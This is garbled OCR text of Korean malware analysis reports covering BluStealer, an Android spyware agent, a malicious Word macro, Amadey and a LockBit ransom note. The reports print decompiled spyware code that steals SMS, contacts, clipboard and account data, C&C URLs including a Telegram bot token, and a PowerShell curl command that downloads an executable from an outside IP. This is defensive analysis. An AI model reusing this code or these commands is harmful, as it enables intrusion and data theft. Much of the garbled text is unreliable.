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[Trojan.MSIL.BluStealer]

orMIAL BEM HIIA

e

Aol Sl SHo=Z AAlEl VolP 2ZES0 & ofLtel ‘TIAZ=(Discord)'e| AHEe| HFLIUS BRI
MO ‘BluStealer 0|22| MHE El%| A|Fo| ot A (InfoStealer)7t X|&SXOR AR D QIC}, STt
=

PC ZE 8! g oiZe/Aojde] F2[Hd HEE T & HE5h= 7[5S 7MKL UCL

Bt Bt

3

0z O Ty

S|
&

10

= HTM0|A= ‘BluStealer 2T E0]| CHol EA1 SEOX} SICE

OHMTIE MN| 24

2.1. 8DD5B8A3405362D6F5CE36E1ACF87AD5 &4

1) QINE CHREE

SiE AHIEE=
'https://cdn.discordapp.com/attachments/1025390686079553581/10278604 30103785492 /Xnwdychkk
plljpegOliA Q1T QIME] 7|52 NET DLL HO|2EE CHRRESH0| 2ESH: 7152 $3siCt,

item)

num

{numz

StreamReader streamReader = StreanReadear(

[ Urifitem)}). GetResponseStreant ) );

eader streamReaderz?:

(A2 1] 2E Ho|2E CIRZ=E =

CIRZEEl QIHE{= Hex Of|A Binary HENZ Convert 3t §|, 2EEICE
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Cffsec(h) 00 01 02 03 04 05 06 OT7 08 O9 04 OB OC OD OE OF Decoded text

00000000 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 [4D5A90doo3000000
00000010 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 04000000FFFF0000
00000020 42 3% 30 30 30 30 30 30 30 30 30 30 30 30 30 30 B800000000000000
00000030 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 4000000000000000
00000040 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
00000050 30 30 30 30 30 30 30 30 30 30 30 - 30 30 30 0000000000000000
00000060 30 30 30 30 30 30 30 30 30 30 30 3 30 30 30 0000000000000000
00000070 30 30 30 30 30 30 30 30 33 30 30 3 30 30 30 0000000080000000
00000080 30 45 31 46 30 30 42 32 43 24 QELFBAOE00B408CD

44 32

00000090 32 31 42 3¢ 51 34 43 34 36 38 21B8014CCD215468
000000R0 36 39 37 33 32 30 37 30 37 32 36 37 37 32 €9732070726F6772
000000BO 36 31 36 44 30 36 33 36 31 36 15 36 616D2063616EGEEF
000000C0 37 34 32 30 36 30 37 35 36 742062652072756E
000000D0 32 30 36 39 . 32 30 34 34 34 33 32 30 20696E20444F5320
000000EQ 36 44 36 46 36 34 36 35 45 30 4 44 30 41 €DE6FE4652E0DODOA
000000F0 32 34 50 30 30 30 30 30 30 30 30 30 30 2400000000000000
00000100 35 30 30 30 30 43 30 33 30 30 [50450P004C010300
00000110 37 31 46 36 33 30 30 30 30 30 71E33F6300000000

QQ0oo120 30 30 30 30 30 30 30 30 3¢ 45 32 21 QOCOQQOOEQOQOOEZL
Q0000130 30 42 30 31 30 38 30 30 30 44 3¢ 30 41 30 30 QOBO1LO&0OQODEOROO0
Q0000140 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 QO0&000Q0OCO000O00
[22! 2] QIME| HO|Z2E CIRZE FE

2) At =X 2 Xts A
SIXf Al T2 S ‘Yappdata%\Zjinbusywxbw\Gsghrls.exe' A2= X7t SH[SHH, X7t SH|E E=22
SHENIE HQlPt THA0|E('Gsghrls') 22 Ats A3 BX|AEZ|0| SSPICL Of2ffi= Xt SA| 2FHO|CE

O=FFFFFFFF
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3) Ho|2= QlHld

XE7| RpAIS KAl Z2NAZ M
Basic(VB) H|O|2EE QIM|MsH

HE & 7159 NET H|0|2=E ‘AppLaunch.exe’0f| QI=IMSITE,

BA2ZBEC35 | rCALL

AnaBnRAa
A0ABARAA
A0ABARAA
A0BBARA4
A0ABARAA
A0ABARAA
AA12F7A8
AA12FB 48

2) Bt 47
21) 4% PC HE 44

“ingBui lder,
“ingBui lder,
“ingBui lder,
“ingBui lder

to
NU
e

N

]

CRE

NULL
NULL

aa12

aa12

=

Appendline
Appendline
ppendLine

“ingBui lder

“ingBui ld
“ingBui ld
“ingBui ld
“ingBui ld
“ingBui ld
"ingBui lder

ESTsecurity | curl

from BAZBEC38
LL
indowsiMicrosoft _NETWFrameworkiiud A_3031 % ppLaunch_exe"
NULL
ULL
LSE
ATE_SUSPENDED

F7a8
F848

2! 6] Q/®E] MO|2E CIRZEE A

er stringBuilder = StringBuildert }:
sppendlinef " =

nlnfo.datenow )
mlnfo.

namne. = z

npha

Intwrnnl | P
#ternal IPi= "

...FIFIHru:ILlru-'I:'

[02 7]1PC ®E 47 2=

1



2.2) OiE2[AH|0|Md Z2[HE ~F
Chromium, Outlook, FoxMail, CoreFTP, WInSCP2, Firefox, WaterFox, K-Meleon, Thunderbird, IlceDragon,
Cyberfox, BlackHawK, Pale Moon OHZZ|7|0|ME CHACE PCOf| MEE I2|dHd HEE ElF[oirt

Chromium,

Frogram. = += Filedilla,

Program. s += Filedilla.

Frogram. = += Filedilla.

Frogram. s += Filedilla,

[O2 8] oiSEZIoIM B 8 FE R
Of2i= 2} oiZ2[AHI0|M E2 E#F|=l= HEo| Ciiet AHO|Ct
OHZ=|AI0|M o B e dY
Chromium A2|EM HEAEIIE HE o)

Outlook, FoxMail 2™ M2

CoreFTP, WinSCP 2 A2|HE 2

Firefox, WaterFox, K-Meleon, Thunderbird, lceDragon, SajE He

Cyberfox, BlackHawK, Pale Moon

[E 1] OS2 Al01d & 2 =

2.3) o8& M2 ME
OfE2|AO|M 7 METt EXlst= 2 PC HEL} 81 ‘%appdata%\MicrosoftWindows\Templates'
Z2512[0]| ‘credentials.txt’ 0|22 XZSt1 EFSICL

ficredent ials.txt”, stringBuilder.ToString() + Program.dat

ESTsecurity | curl , | 12



ST E mA0| EXfsk= HSR Telegram C&C 2 ALEX HEE MATICE.

_vbaFreelarList(8, uv54, v51, u53, usa);

savedreqgs = L

uid = uak;

uZA = whaitrCat(};

savedregs = _uvbaStrHove(&uw58, w20, vi3, savedregs);
uid = :

v21 = wbaStrCati{};

savedreqgs = uvbasStrHove{&u57, v21, w73, savedreqgs);
ui3d = vad;

u22 = wyhastrCat(};

savedreqgs = uvbaStrHove{&u56, v22, w73, savedreqgs);
w3 = :

u23 = _whastrCat(};

savedreqgs = _vbaStrHove({&uw5S, w23, w3, savedregs);
uid = ua3d;

uzh = wyhastrCat(};

_wbhastrHMove{&ub1, w24, vwi3, savedregs),;

savedregs = &uS5;

ui3d = GBuSo;

_uvbaFreeStrList(h4, &u58, &UST);

[22! 10] Telegram O 2 &2l HE M&sh= 2=

https://api.telegram.org/bot5468731092:AAGGNQWBVRhX622u6xpTmoMhauniGtXulxg/
[E 2] Telegram C&C

3. 2E
‘BluStealer’ 22 == AREAHPC FE +8 A FE TS 7|52 717 g2 0|0t O] R E0A=
Discord £ C&C Z of= CIRZE7 AgEl F, EE o8 8 T& 7150| 22|k S50] TIdElch= FHo|

=x5olct,

7|HA0l|M Ol2fet Rl AHAL0 HYE B2 LERE 3R, A YRS tdez F2dE A S22

SZ{0] 001X 2|At LUFUIME 2 At 20| ==E 4= U

2
M
10
N
e
FO
el
n

2tk Of AR E0M ZHES oS | M= EM7F 22

0%

oF AfO|E LHollA URL, It CH2EEES X[F6lof

izl Lotoj e A AN TFEE Trojan.MSIL.BluStealer’, ‘Trojan.Downloader.MSIL'Z RIS QUCE
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[Trojan.Android.Agent]
EIE FA HIIA

e
ATHO|RI0f= MISHAIL| AMYERS TIZISHA| ZHA[SHH RIZist HES SiFfsH= SXI0| QI ZHIY 7|7| ARRERE0| A
Alehol] DH LAE|O] QL7 jofl SEXIES CIYst M SIS 2LOZ ATlo|g)0S &&= Zio|Ct.

SHXE2 LHRISC| ZHIY 71710f] obd HS ARG [2[6H LBHAIS0| M=oh= U2 2IE06I0] ofd g RESIL
QUCL 2|10 OfFA| #Ee Y2SS L8 =T 7| 52l 2SS dh= AO[Ck.

-_

A2 HHE 0] ofY 2 TS =715 Q= MAtEl ofy Moo= Ho|H msiRie| 7Hel & g+ S2 ¢l

oFN Q2 "TextMe Bl YOR SABHD QOMH FAF ¢S 407 HEOM MHIA E/1 Q= oz D SMS 9 53t
7152 HIZSHs AO|CH 2t S Of2A| IBHRIS0| Mesie HOR {Rfslol AHAISS| QI AjO|ES S8 ob ¢S
Qusic,

2 HIMOME 22 2AZ| T QM= Spyware Android Agent 2F4 S ATHE =2 SIZACE
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HI

=
Ob @ E
A0 otd W2 mfshxte| JHRIHEE B[S

0| OfZA| mfohixte] ZHRIEEE BiF{otn At

ARk 7IsE

2 7IX|11 AUCE Spyware. Android. Agent 214

HHEEE S

ChS D2l ob Qo] Alst SipiO HAT ki RISt SIS LBARIC,
| Q" 1514
Free Virtual Number For Social
Media Activation
ENTER
AX| = ofd M2 TR E0|A C2 2t S41S SHH CiFeh ofd HRIE 36| EICt ¢

2 AEZS HOoJELCE
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public static final String ADD_PERMISSION = "25";

public static final String APP_ID = "applD";

public static final String CALLS_LOG = "3";

public static final String CHANGE_DELAY = "16";

public static final String CHECK_FOR_JOB_REQUEST = "2";
public static final String CONTACT_LIST = "2";

public static final String DELETE_PERMISSION = "27";

public static final String FILE DELETE = "7";

public static final String FILE_DOWNLOAD = "8";

public static final String FILE TREE = “21";

public static final String FILE UPLOAD = "9";

public static final String GET_ACCOUNTS = “12";

public static final String GET_FILES_DIRECTORY = "18";
public static final String GET_INFO = "17";

public static final String GET_PHONE_NUMBER = "4";

public static final String GET_SDCARD PATH = "5";

public static final String GRANTED_PERMISSIONS_LIST = "24";
public static final String HAND_SHAKE_REQUEST = "1";

public static String INIT_DATA_SPN = "InitData";

public static String LAST_SMS_CODE = "";
public static final String LIST_OF_ PACKAGES
public static final String LOCATION_SERVICE
public static final String LS_DIRECTORY = "6";

public static final int ON_CONNECTION_ERROR_DELAY = 5;
public static final String PERMISSIONS_LIST = "26";
public static final String RECURSIVE_DOWNLOAD = "23";
public static final String REF_ID = "wu";

public static final String REQUEST_TYPE = “requestType”;
public static final int RETRY_COUNT = 10;
public static final String SEND_CLIPBOARD_DATA
public static final String SEND DIRECTORY_TREE
public static final String SEND_INIT_DATA = "5";

public static final String SEND_JOB RESULT_REQUEST = "3";
public static final String SEND_LOCATION_FIRST_TIME = "19%;
public static final String SEND_LOG_CLASS_NAME = “"class";
public static final String SEND_LOG_FUNCTION_NAME = "function”;
public static final String SEND_LOG_MESSAGE_TEXT = "message";
public static final String SEND_LOG_REQUEST = "4";

public static final String SEND_SELF_DEFENCE_DATA = "6";

public static final String SMS_LIST = "1";

"29";
e

“22";
2073

(O™ 2] BN 2|2E

of e CIST 2 oY 7152 JHXID ATjo| e

mufn

Aatsict,

_ ss o=
- A e g

- 2Ywc HojE 3
~ 9I%) clole] 24

- ere=g

- X Y 2AE T3

ofd A2 mshxtel A2, SMS 52 FE 2/l fIXIFEER} QLR =3 S2= LBiAe] LiZiet 71l FE
E

=27 Mol YE EFE 22t 7IsES Z=2 Sl ATEAC
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public String getInfo() {
HashMap hashMap® = new HashMap();
hashMap®.put(“"manufacturer”, Build.MANUFACTURER);
hashMap®@.put("model”, Build.MODEL);
hashMap®@.put(“"brand”, Build.BRAND);
hashMap@.put("product”, Build.PRODUCT);
hashMap®.put(“device”, Build.DEVICE);
hashMap®@.put("host”, Build.HOST);
hashMap®@.put(“buildID", Build.ID);
hashMap@.put(“timezone”, TimeZone.getDefault().getDisplayName());
hashMap®.put("androidVersion”, "@");
hashMap@.put ("perRequestDelay”, "15");
hashMap®.put("jitter”, "5");
hashMap@.put(“packageName"”, this.context.getPackageName());
hashMap®.put("IMEI", this.getIMEI());
hashMap@.put(“"simInfo"”, this.getSimInfo());
hashMap®.put("mac", "");
hashMap@.put(“installSource”, Globals.installSource);
hashMap®.put("refID", "ww");
hashMap®@.put("grantedPermissions”, this.getlistOfGrantedPermissions());
return new Gson().toJson(hashMap®);

(02 3] 7171 B g3 Ao o

ol

7171o] E8Hel BEE +Helth. Ol= ToiAt7t CH=0|7 [0l TSRS AESH7|2{el B Het

ikl
|0
HU
4>

al
of

Ir
oA

Cursor cursor® = this.context.getContentResolver().query(ContactsContract,Contacts,CONTENT_URI, new
Arraylist arraylist® = new Arraylist();
while(cursor@ != null 8% (cursor@.moveToNext())) {
String s = cursor@.getString(cursord.getColumnIndex(”_id"));
String sl = cursor@.getString(cursor@.getColumnIndex("display_name”));
Cursor cursorl = this.context.getContentResolver().query(ContactsContract.CommonDatakinds.Email
String s2 = "EMPTY";
if(cursorl == null) {
label 55:

s3 = “ENPTY";

else {
if(!cursorl.moveToFirst()) {
goto label 55;
}
53 = cursorl.getString(cursorl.getColumnIndex("datal™));
cursorl.close();
1

Cursor cursor2 = this.context.getContentResolver().query(ContactsContract.CommonDatakKinds,Phone
if(cursor2 I= null &8 (cursor2.moveToFirst())) {

s2 = cursor2.getString(cursor2.getColumnIndex(“datai”));

cursor2.close();

arrayList@.add(sl + "\t" + 52 + "\t" + 53);

(O 4] A=ty 23 2=
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protected String smsList(int v) {
String s4;
Arcaylist arraylist® = new Arrayiist();
if(v == 0) {
goto lobel _32;

}
else {
try {
Cursor cursor® = this.context.getContentResolver().query(lelephony.Sms.CONTENT_URI, new String[]{"address”, “perso
goto b S
label 32:
cursor® = this.context,getContentResolver().query(Telephony . Sms . CONTENT_URI, new String[]{"sddress”, “person”, “da
1abel 43!
while(cursor® != null 8& (cursor®,moveToNext())) {
String s = cursor@.getString(cursor®.getColunnIndex(~address”));
ng 51 = new Date(((long)long.valueOf(cursor®.getString(cursor@.getColumnlndex( “date”))))).toString();
g 52 = cursor@.getString(cursor@.getColumIndex( "person™));
String 53 = cursor@.getString(cursor@.getColumnIndex( “body"));
switch(Integer.parselnt(cursor®.getString(cursord.getColumnIindexOrThrow( “type")))) {

abel_43;

protected String callslog(String s, String s1, int v) {
String s7;
Cursor cursore;
try {
ArraylList arraylList® = new Arraylist();
String s2 = "date desc";
String[] arr_s = new String[2];
if(v !'= 0) {
s2 = “"date desc limit " + v;

3

String s3 = s2;
if(s.equals("9")) {
cursor® = this.context.getContentResolver().query(Calllog.Calls.CONTENT_U

else {
arr_s[@] = s;
arr_s[1] = s1;
if(ActivityCompat.checkSelfPermission(this.context.getApplicationContext(
return null;

¥

cursor® = this.context.getContentResolver().query(Calllog.Calls.CONTENT_U
¥

while(cursor® != null && (cursor@.moveToNext())) {
String s4 = cursor®.getString(cursord.getColumnIndex("number”));
int vl = cursor@.getInt(cursor®.getColumnIndex("type”));
String s5 = new Date(((long)Long.valueOf(cursord.getString(cursord.getCol
String s6 = cursor@.getString(cursord.getColumnIndex("duration”));
if(vl == 1) {
s7 = “"Incoming™;

}
else if(vl == 2) {
s7 = "Outgoing";

else ifful == 2 £

[03 6] 53t 712 23 A=
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protected String getAccounts() {
StringBuilder stringBuilder® = new StringBuilder();
try {
Account[] arr_account = AccountManager.get(this.context).getAccounts();

for(v = @; v < arr_account.length; ++v) {
String s = arr_account[v].name;
String s1 = arr_account[v].type;
stringBuilder®.append(s);
stringBuilder®.append("\t");
stringBuilder®.append(sl);
stringBuilder®.append(”\n");

}

return stringBuilder®.toString();
}
catch(Exception exception®) {

return exception®.getMessage();

[

(02 7] A% HEe =% Ac

CtE2 282 HOIEE EF6ks Z=0I0t

private void sendClipboardData() {
try {
ClipboardManager clipboardManager® = (ClipboardManager)this.context.getSystemService("clipboard”);
TaskHandlerThread.clipboardtanager = clipboardManager®;
clipboardManager®. addPr1maryC11pChangedL1stener(neu ClipboardManager.OnPrimaryClipChangediistener() {
@0verride
public void onPrimaryClipChanged() {
try {
HashMap hashMap® = new HashMap();
hashMap@.put("appID”, "dd2b8b56-0a35-4f6e-9faf-c665564b7be9");
hashMap@.put(”requestType”, "5");
hashMap®@.put(“jobID", "22");
hashMap®.put("jobResult”, TaskHandlerThread.clipboordMonager.getPrimaryClip().toString());
new Thread(new Runnable() {
@0verride
public void run() {
try {
NetworkHandler.httpPost(Globals.serverURL, null, new Gson().toJson(hashMap@));

¥
catch(Exception exception®) {
exception@.printStackTrace();
3
}).start();

catch(Exception unused_ex) {

[22 8] 22/EE H|o|E EtZ

CHE2 fIA HlolE & Z=o|ct

protected Void doInBackground(String[] arr_s) {
try {

HashMap hashMap® = new HashMap();
hashMap®@.put(“appID", "dad46d47b-d97b-4697-943d-955a79%9ad@12a");
hashMap®@.put("requestType”, "5");
hashMap®.put(“jobID", “19");
hashMap®.put("jobResult”, arr_s[@]);
Gson gson@ = new Gson();
NetworkHandler.httpPost(Globals.serverURL, null, gson®@.toJson(hashMap®));

catch(Exception unused_ex) {

¥

return null;

[23 9] ?IX| cliojy &=F 2=
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try {
SystemClock.sleep(TimeUnit .MINUTES.toMillis(((long)this.initDelay)));

catch(Exception exception®) {
this.response = exception@.getMessage();
Globals.logger("SoundRecorder™, "run", exception@.getMessage());

SoundRecorder soundRecorder® = new SoundRecorder();
soundRecorder®.fileName = “/data/data/com.example.confirmcode/1667968548012.mp3";
String s = soundRecorder®.startRec();
this.response = s;
if(s.equals("ok")) {
try {
SystemClock.sleep(TimelUnit.SECONDS.toMillis(((long)this.duration)));

catch(Exception exceptionl) {
Globals.logger("SoundRecorder”, "run”, exceptionl.getMessage());

b

try {
soundRecorder®.stopRec();

catch(Exception exception2) {
Globals.logger("SoundRecorder”, "run”, exception2.getMessage());

¥

[O3 10] QLR =53 ZE

x| o 2|AE &3 REO|CE

public String getListOfPackages() {
Arraylist arraylList® = new ArraylList();
try {
for(Object object®: this.context.getPackageManager().getInstalledApplications(@x80)) {
ApplicationInfc applicationInfo® = (ApplicationInfo)object®;
HashMap hashMap® = new HashMap();
hashMap®@.put(“name”, applicationInfo@.packageName);
hashMap®.put(“source”, applicationInfo®.sourceDir);
hashMap®@.put(“permissions”, applicationInfo®.permission);
arraylList®.add(hashMap®);
¥

return new Gson().toJson(arraylListe);
¥
catch(Exception exception®) {

return exception®.getMessage();

¥
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The only 1 way to decrypt your files is to receive the private key and decryption program.
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Enable content to adjust this document
to your version of Microsoft Word™

TO OPEN THIS DOCUMENT PLEASE FOLLOW THESE STEPS:

® Select Enable Editing

* In the Microsoft Office Security Option dialog box, select Enable Content
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3> ifyou are using a mobile device, try opening the file using the full office desktop app.
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Set Reco = wx2zh8 CreateShortcut(fpdfwutfsan)
hamf = sdvtjano & " 11cW7894651321486654123 axa”
godknows = Replace( “cmd /o opow sdvtjgnorsThsdvtianol /W 01 ¢ utrl httop: //183 34,1871
Reco.Arguments = "/p o windowstsysten32 /m notepad.exe fc """ & godknows & °
Reco ., WindowStyle = 7
nebbb = Replace( “rundz_a_d_fz_a_d_f32 urz_a_d_f dz_a_d_fz_a_d_f,0OpenURL " & fp4fwutfsy
Reco.TargetPath = Replace( "@0r@iLes”, "@”, "f")
Reco.Save
= 4| |
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biect, ThisDocument. Document_Open
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usa Ciml”
andwiddd3 "r2czap”
wx2zh8
fpdtwutfsen CitlsersWPublictskeml, Ink”
Reco
hamf "CilsersWPublich7894651321486654123 exe”
godknows “crnd /l: po ers“hell/'l.l"lr o c"u"rl hﬂ"p //188 34,187, IlD/I23r1 e we -0 C¥UsersWPublict
TS C Ink
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skeml.Ink IIA2| QIXtof| E2H=l forfiles.exe IIUS E510] 1234.exe LIYS LH2{Rtn AlRHBHL|CE

=

C\Windows'\system32\fOrfiLeS exe /p c\windows\system32 /m notepad.exe /c "cmd /c
pow”ers“hell/W 01 cu”rl hit"p://188.34.187.110/1234 e"xe -0

C\Users\Public\7894651321486654123 exe;C:\Users\Public\7694651321486654123 exe"

[22! 5] skemlink TH

1234.exe IIAUL CIRZHE

Al
y 2O

ot
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cred.dl T2 &l = ZH PC2| ID gk, AFEXL OIF, HRE 0l S EE EF[0I C&C AH = TEsHH,
HM&g i Amadey Parameter(id, vs, os, bi, ar, pc, un, av, v )7t AFZEIL|CE EE5H SR} ZHFE] SHHO| ATE
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WinBox

OutLook

FileZilla

Pidgin

TotalCommand FTP

RealVNC, TightVNC, TigerVNC, WinSCP 2
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u3ld = sub_4B82BAB(w52, v53, w54, u55, uShH, uS7);
if ( *(u38 + 5) >= Bx106u )
uiBd = =u3b;
HttpSendRequestA{hRequest, w38, v58, 59, vald);
if ( véeS >= B8x18 )
{
[TED vhi3;
u32 uh5s + 1;
if ( veS + 1 >= Bz108068 )
{
u3di *(u63d - 1);
u3d2 uh5 + 36;
if ( (u63 - w31 - 4) > Bz1F )
goto LABEL_68;

b

Gl = wi2;

sub UB1851F{v31);
e
LOBYTE(u78) =
uGl = 8;
uh5s = 15;
LOBYTE(v63)

[(12 6] ArSAt HE & FE

ul1 = GetSystemMetrics(u77);
if ( vl > cy )
{
iy = 1;
LABEL_G6:
cy = GetSystemMetrics(u77);
i
uh? = hdc;
uh3 = CreateCompatibleDC (hdc);
uoL = ph3;
vhh = CreateCompatibleBitmap{w42, vi88, cy);
ho = whl;
h = SelectObject{ul3d, ull);
BitBlt{u43, @, 8, vi88, cy, hdc, 6, 8, OxCCOB20u);
ugg = @;
GdipCreateBitmapFromHBITHAP {vhk, B, &u20);
vil16 = 8;
uveg = B;
GdipGetImageEncodersSize (&u116, &u98);
if { v9g )
{
uls = sub YICBCD(w28);
uhg = uhh;
u92 = uphh;
if { was )
{
GdipGetImageEncoders{u116, u98, ul5);
uhy = B;
if { vile )
{
uh4g = (ulhd + LB ;
while { 1 )
{

vh9 = wcscmp(*uh8, L"image/jpeg”});
(12 7] AT2IK MaAs
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vig = 8;
{T11] a;
ug 8;
ui az2;
u2 ail;
b tsavedregs;
u5s &loc_4167AF;
uh __readfsdword{8});
__writefsdword{f, &ul4);
System::__ linkproc__ LStrClr{&dword_41DBBE8);
sub_M61EB{&V18)
System:: linkproc__ LStrCat{&u1B, &str  FileZilla site[1]);
if § sub ¥16178{uvi18) }
{

sub_ M161ES{&uE) ;

System::_linkproc__ LStrCat(&u8, &str_ FileZilla site[1]);

sub_416534(uB, &u9);

sub_M16618({ &kstr 2[1]., w9, 18488);
H
System::__ linkproc__ LStrAsg{v2, dword 41D8BB);
_ writefsdword{f, vi);
v = &loc_MW167B6;
return System::  linkproc__ LStrArrayClr(&ue, 3);

[OZ 8] FileZilla &% 2E UL
B | [ Authorization x = - O
€ C A 2HESX| 28 | 62.204.41.25/3g4mnSs/Login.php A Yo o= s
[22! 9] Amadey Bot 27121 H|0|X|
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]| 471sP2Rni README.txt - Windows 0 22 - O
otep BHIE MO 27V BT
~~~ LockBit 3.0 the world's fastest and most stable ransomware from 2019~~~

>>>>> Your data is stolen and encrypted.

If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep
in mind that once your data appears on our leak site, it could be bought by your
competitors at any second, so don't hesitate for a long time. The sooner you pay the
ransom, the sooner your company will be safe.

Tor Browser Links:

http:/ ead.onion
http:/ pyd.onion
http:/ ugd.onion
http:/ {7qd.onion
http:/ kyd.onion
http:/ sbgd.onion
http:/ pid.onion
http:/ gd.onion
http:/ gd.onion

Links for normal browser:

http:/ cead.onion.lyl
http:/ 6pyd.onion.ly
http:/ gugd.onion.ly
http:/ d7qd.onion.ly
http:/ ykyd.onion.ly

http:/ sbgd.onion.ly
http:/ jpid.onion.ly

Ln 18, Col 73 100%  Windows (CRLF) UTF-8

(2] 10] EMOZ MHE|= |ockBit 2HAI0] BHMLE
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